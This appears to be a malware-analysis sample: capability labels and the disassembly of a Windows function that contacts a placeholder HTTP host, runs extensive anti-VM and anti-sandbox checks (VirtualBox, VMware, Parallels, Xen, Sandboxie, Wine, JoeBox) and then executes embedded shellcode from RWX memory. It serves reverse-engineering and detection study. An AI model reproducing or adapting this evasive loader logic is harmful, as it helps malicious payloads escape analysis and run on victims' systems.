Function at 0x4013b0
Capabilities:
Allocate or change rwx memory
Check if process is running under wine
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Initialize winhttp library
Prepare http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402f32
mov eax, dword fs:[0]
push eax
sub esp, 0x51c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 4
mov ecx, 0x7e
lea edi, [ebp - 0x528]
mov esi, 0x4031f8
rep movsd dword es:[edi], dword [esi]
push 0x4033f0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push 0x50
push str.my.domain.or.ip
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0
push 0
push 0
push 0
push str.test
push 0x403434
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov edi, eax
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x7c], 2
jb 0x401bc8
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
shrd ecx, eax, 0x14
cmp ecx, 0x800
jb 0x401bc8
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0x18
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0
push 0x70000
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [ebp - 0x18]
mul dword [ebp - 0x1c]
push 0
push dword [ebp - 0x20]
push edx
push eax
call fcn.00402e60
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push edx
push eax
call fcn.00402e60
push 0
push 0x40000000
push edx
push eax
call fcn.00402db0
cmp eax, 0x64
jb 0x401bc8
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov edi, eax
call esi
cmp edi, 0x3e8
jge 0x401524
cmp eax, 0x3e8
jl 0x401bc8
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edi, eax
mov ecx, edx
mov ebx, 0x1a9fbe77
mov dword [ebp - 0x308], edi
mul ebx
mov dword [ebp - 0x300], ecx
mov dword [ebp - 0x328], eax
mov esi, edx
mov eax, edi
mov edx, 0x624dd2f
mul edx
mov edi, eax
mov dword [ebp - 0x304], edx
mov eax, ecx
mul ebx
mov ecx, eax
mov ebx, edx
mov eax, dword [ebp - 0x300]
mov edx, 0x624dd2f
mul edx
add ecx, esi
mov dword [ebp - 0x324], eax
adc ebx, 0
add edi, ecx
mov ecx, dword [ebp - 0x304]
adc ecx, 0
mov dword [ebp - 0x330], edi
xor eax, eax
add ebx, ecx
mov ecx, dword [ebp - 0x324]
adc eax, eax
add ecx, ebx
mov ebx, dword [ebp - 0x308]
adc edx, eax
mov eax, dword [ebp - 0x300]
sub ebx, ecx
sbb eax, edx
shrd ebx, eax, 1
shr eax, 1
add ebx, ecx
adc eax, edx
shrd ebx, eax, 9
shr eax, 9
test eax, eax
jne 0x4015cc
cmp ebx, 0x4b0
jb 0x401bc8
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [ebp - 0x2e0]
push eax
push str.C:WindowsSystem32VBox.dll
call esi
cmp eax, 0xffffffff
jne 0x401bc8
lea eax, [ebp - 0x2e0]
push eax
push str.C:WindowsSystem32driversprl.sys
call esi
cmp eax, 0xffffffff
jne 0x401bc8
lea eax, [ebp - 0x2e0]
push eax
push str.c:_a_foo.
call esi
cmp eax, 0xffffffff
jne 0x401bc8
lea eax, [ebp - 0x2e0]
push eax
push str.c:windows_system32drivers_vm.dll
call esi
cmp eax, 0xffffffff
jne 0x401bc8
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.SYSTEMControlSet001ServicesVBoxSF
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSoftwareClassesFolder_shell_sandbox
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSYSTEMControlSet001Services_vmicvss
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstallSandboxie
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSYSTEMControlSet001Services_vpcuhub
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSYSTEMControlSet001Services_vmware
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMHARDWAREACPIRSDTxen
push 0x80000002
call esi
test eax, eax
je 0x401bc8
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0
push str.HKLMSOFTWAREWine
push 0x80000002
call esi
test eax, eax
je 0x401bc8
mov esi, dword [sym.imp.USER32.dll_FindWindowW]
push 0
push str.VBoxTrayToolWndClass
call esi
push str.VBoxTrayToolWnd
push 0
mov edi, eax
call esi
test edi, edi
jne 0x401bc8
test eax, eax
jne 0x401bc8
push 0xc
mov dword [ebp - 0x2fc], eax
lea ecx, [ebp - 0x2fc]
push str.vmtoolsd.exe
mov dword [ebp - 0x2ec], eax
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], al
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], edi
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x4017da
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4017d0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4017d0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 0x10
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x2fc]
push str.joeboxserver.exe
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], bl
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 1
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x401872
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401868
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401868
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 0xa
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x2fc]
push str.prl_cc.exe
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], bl
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 2
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x40190a
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401900
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401900
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 0xf
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x2fc]
push str.vboxservice.exe
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], bl
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 3
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x4019a2
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401998
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401998
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 9
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x2fc]
push str.vmsrvc.ex
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], bl
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 4
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x401a3a
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401a30
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a30
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 0xe
mov dword [ebp - 0x2fc], 0
lea ecx, [ebp - 0x2fc]
push str.xenservice.exe
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], bl
call fcn.00401c40
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 5
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2e8]
sete bl
cmp edx, 0x10
jb 0x401ad2
mov ecx, dword [ebp - 0x2fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401ac8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401ac8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
test bl, bl
jne 0x401bc8
push 0xb
mov dword [ebp - 0x320], 0
lea ecx, [ebp - 0x320]
push str.WPE_Pro.exe
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], bl
call fcn.00401c40
lea ecx, [ebp - 0x320]
mov dword [ebp - 4], 6
call fcn.00401170
cmp al, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30c]
sete bl
cmp edx, 0x10
jb 0x401b6a
mov ecx, dword [ebp - 0x320]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401b60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b60
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020ab
add esp, 8
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
test bl, bl
jne 0x401bc8
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push 0x1f8
push 0
call eax
mov edi, eax
mov byte [ebp - 0x528], 0x48
mov ecx, 0x7e
lea esi, [ebp - 0x528]
rep movsd dword es:[edi], dword [esi]
call eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040206d
mov esp, ebp
pop ebp
ret